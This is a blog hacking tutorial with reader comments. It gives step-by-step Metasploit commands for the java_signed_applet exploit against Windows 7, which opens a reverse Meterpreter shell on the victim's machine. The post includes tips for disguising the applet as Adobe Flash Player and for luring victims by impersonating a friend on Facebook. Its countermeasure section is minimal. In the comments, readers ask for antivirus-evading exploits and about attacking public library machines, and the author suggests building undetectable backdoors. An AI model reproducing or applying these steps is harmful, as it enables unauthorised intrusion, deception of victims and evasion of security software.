Hacking Windows 7 SP 1 Using Java Signed Applet Social Engineering Code Execution

Hacking Windows 7 SP 1 Using Java Signed Applet Social Engineering Code Execution

Bookmark
Posted by in Hacking Tutorial | 20 comments

Type : Tutorial

Level : Easy, Medium, Advanced

Success rate : Excellent

Platform : Win 7 SP 1(all windows), I’ve also tried in Linux Debian 6 using Iceweasel, but no luck..maybe someone has try it?

Today in this tutorial we will doing some trick using Social Engineering style to attack victim. Before we start, let me tell you a little story why I’m writing this tutorial :-) .

Yesterday 2011/7/29 my friend KENT came to my home and then told me that his computer has been hacked because of link sent by his friend CLARK via facebook. CLARK didn’t know anything, because he never use his facebook and someone has impersonate him and starting to send malicious URL via facebook. KENT receive inbox message from fake CLARK in his facebook like this “hey I’ve uploaded the video of yours here http://attacker.com/videoplaylist“. KENT think that CLARK was his friend and KENT also curious want to see what kind of video his friend already upload.

Interesting isn’t it?someone can act as other person and started to sending malicious URL. (you can view here how to hack facebook using man in the middle attack). Now in this tutorial we will do almost the same thing Hacking Windows 7 SP 1 Using Java Signed Applet Social Engineering Code Execution. Let’s start

Requirement :

1. Metasploit Framework

2. Operating System(I’m recommend using Linux OS or Backtrack 5)

Step By Step :

1. Open your msfconsole and find java_signed_applet exploit with command search java_signed_applet. If you can’t find it, try to update your Metasploit Framework to newer version with msfupdate command. If the exploit was available, let’s continue with picture below.

Hacking Windows 7 SP 1 Using Java Signed Applet Social Engineering Code Execution

Legends :

use exploit/multi/browser/java_signed_applet ---> load the java_signed_applet exploit

set payload windows/meterpreter/reverse_tcp ---> set the reverse_tcp meterpreter to connect back to our machine

2. The next step, we need to add some required switches to make an attack successful. The picture below is my switches configuration, but if you want to view available switches, you can type show options.

Hacking Windows 7 SP 1 Using Java Signed Applet Social Engineering Code Execution

Legends :

set appletname Adobe_Inc ---> To inform the victim about the name of our java applet and make sure your victim
not suspicious with link you give

set certcn Adobe Flash Player ---> On older versions the dialog will display the value of CERTCN in the 
"Publisher" line. Newer JVMs display "UNKNOWN" when the signature is not trusted (i.e., it's not signed
by a trusted CA).

set srvhost 192.168.8.92 ---> host that served the exploit

set srvport 80 ---> I'm choose 80, because it's really great for computer social engineering especially social engineering
via website

set uripath videoplaylist ---> the URL format to send to victim (http://192.168.8.92/videoplaylist)

set lhost 192.168.8.92 ---> connect back address when successfully perform attack

set lport 443 ---> port used to connect back to our machine

3. When everything has been set up correctly, run exploit command.

Hacking Windows 7 SP 1 Using Java Signed Applet Social Engineering Code Execution

There’s an URL you should give to your victim http://192.168.8.92/videoplaylist.

4. When the victim open that link in their browser, immediately it will alert a dialog box about digital signature cannot be verified like picture below.

Hacking Windows 7 SP 1 Using Java Signed Applet Social Engineering Code Execution

But it’s okay, because we are sending that link to KENT as CLARK so the success probability still above 75% :-P .

5. After victim open the malicious URL and click RUN, here’s the screenshot in attacker computer.

Hacking Windows 7 SP 1 Using Java Signed Applet Social Engineering Code Execution

6. Press CTRL + C to stop the process or you can directly run sessions -l to view the active sessions.

Hacking Windows 7 SP 1 Using Java Signed Applet Social Engineering Code Execution

7. Yes we have 1 active sessions in our list. To interact with that session, simply run sessions -i 1 where 1 is the ID of the sessions.

Hacking Windows 7 SP 1 Using Java Signed Applet Social Engineering Code Execution

PWNED! we’re already inside victim computer.

For the next step after successfully gain an access you can see the following tutorial :

5 Steps Using Meterpreter Keylogging

Login Windows Using PsExec Hash

5 Step to Enable Remote Desktop

And many more. . .

Countermeasure :

1. Minimalize opening file you didn’t know.

2. Read the alert carefully if it’s appear. Sometimes just click “Next” or “OK” when alert appears was not a good idea :-P

hope you enjoyed… :-)

welcome for any comments, just drop it below :)

Incoming search terms:

Written by Vishnu Valentino. rss twitter facebook

Founder of hacking-tutorial.com. Love PHP, offensive security and web. Contact him at me[-at-]vishnuvalentino.com

See all posts by || Visit Website : http://www.vishnuvalentino.com

Related posts:

  1. 15 Step to Hacking Windows Using Social Engineering Toolkit and Backtrack 5
  2. Client Side Attack Using Adobe PDF Escape EXE Social Engineering
  3. Hacking Windows Live Email
  4. Hacking Mozilla Firefox 3.5 to 3.6 nsTreeRange Vulnerability Using Metasploit
  5. Exploiting Internet Explorer 6 to Gain Administrator Priviledge Using ie_aurora.rb

Popular Posts

20 Responsesto “Hacking Windows 7 SP 1 Using Java Signed Applet Social Engineering Code Execution”

  1. puppet says:
    Sunday, July 31, 2011 at 4:32 pm

    i dont understand…
    what is the command to attack the ip address of our victim???

    Reply
  2. puppet says:
    Sunday, July 31, 2011 at 5:38 pm

    i dont understand…
    leh say we know the vitim ip…
    then how do we set the attack…
    im confuse with the command…

    Reply
  3. jouj says:
    Thursday, August 4, 2011 at 4:01 pm

    hey guys i 'm new in the hacking stuf . i tried this tutorial  step by step but i had a problem how to do from the step 3 to step 4

    Reply
  4. jouj says:
    Friday, August 5, 2011 at 12:57 pm

    ok thanks for reply so if i want to execute this tutorial in LAN how do i do from step 3 to step 4 ???

    Reply
    • v4L says:
      Friday, August 5, 2011 at 8:31 pm

      #jouj
      Step 3 –> prepare the server for exploit
      step 4 –> you see the URL generated at step 3? that URL you should sent to victim and wait until victim execute that URL in their browser.

      Reply
  5. puppet says:
    Friday, August 19, 2011 at 1:45 am

    hey…
    i thnk i have found another method that is similar to this attack…i watch it on youtube…
    http://www.youtube.com/watch?v=LoFaitVRg9U&feature=related & http://www.youtube.com/watch?v=JbDOa5lgbFg..
    (but still working on it..)

    Reply
  6. will.i.am says:
    Saturday, September 10, 2011 at 3:14 am

    I am using BT5 to follow the tutorial. However, I open the URL in the Win XP VM and it says done and nothing happen while in the Meterpreter it says Handlin request from IP:1129…
    I have the 2 VM's (Win 7 and BT5) connected in the same network but it does not work.
     
    In the SRVHOST = LHOST = IP in BT5. Any ideas?

    Thanks
     

    Reply
  7. will.i.am says:
    Saturday, September 10, 2011 at 6:01 am

    I already solved it… You need to download the latest java version ;)

    By 50 Mb of space I had to install win 7 in the VM all over again. Crazy…

    Reply
  8. AbuM@lek says:
    Monday, January 9, 2012 at 10:44 am

    Hi, great job, thank you

    please confirm to me, 
    The plug-in JRE (java) must be already installed in the victim machine to sucess this exploit ?!!!!
    am i right ?
    other question ! its success in all browsers, or just IE ???


    thanks a lot :) .

    Reply
  9. AbuM@lek says:
    Thursday, January 12, 2012 at 7:56 am

    And it is detected by AV and Firewalls, 
    is there any other exploit FUD ???
    thanks

    Reply
  10. AbuM@lek says:
    Saturday, January 21, 2012 at 3:02 am

    Thanks, is there any others exploits for Win7 sp1 (speciallay, not detected ?!)

    Reply
  11. DeusIgni says:
    Friday, May 18, 2012 at 4:46 am

    Whenever I try to open a shell the antivirus software deletes it immediately. Even through this method. Why?
    -DeusIgni

    Reply
  12. DeusIgni says:
    Friday, May 18, 2012 at 4:50 am

    #Valentino
    You have told that to me as well, its all about the "attack logic". That logic doesn't work. Show us a
    method that does.
    -DeusIgni

    Reply
    • v4L says:
      Friday, May 18, 2012 at 3:34 pm

      #deuslgni
      Yes as I say it’s the logic…of course your antivirus can detect it(be realistic… antivirus was always updated almost every 1-2 days)…if you want to be undetected, you can make backdoor/trojan by yourself and think about new algorithm that can’t be traced by antivirus intelligence logic scan.
      again I say that this tutorial only the logic…from here, you can learn how to make a backdoor/trojan/virus hidden and undetected by antivirus…
      last : in this process, nothing is instant, but at least you already reduce your learning process timeline while you understand the logic of the attack and then move to learn new subject about “hiding backdoor from antivirus”.

      Reply
  13. jan says:
    Sunday, October 21, 2012 at 1:37 am

    Hi, Vish—Got a Question 4 u:

    Public Libraries use Java.

    Can this be performed by a WiFi LapTop inside the Library, or across the street?

    Would the J2EE be the appropriate Countermeasure to prevent this from happening at all?

    thanks.

    Reply

Trackbacks/Pingbacks

  1. Privilege Escalation in Metasploit Meterpreter (Backtrack 5) | Vishnu Valentino Hacking Tutorial, Tips and Trick - [...] This picture below taken when hackers successfully gain an access using Java Signed Applet Social Engineering Toolkit Code Execution. ...
  2. 10 Steps to Use NetCat as a Backdoor in Windows 7 System | Vishnu Valentino Hacking Tutorial, Tips and Trick - [...] In this tutorial I will write down the technique to set up the famous listener application NetCat as a ...
  3. How to get Files From Victim Using Backtrack + Metasploit | Vishnu Valentino Hacking Tutorial, Tips and Trick - [...] This tips and trick I will use Java Signed Applet Social Engineering Code Execution (see tutorial here) to exploit ...

Leave a Reply

Your email address will not be published. Required fields are marked *

CAPTCHA Image

*

Notify me of followup comments via e-mail. You can also subscribe without commenting.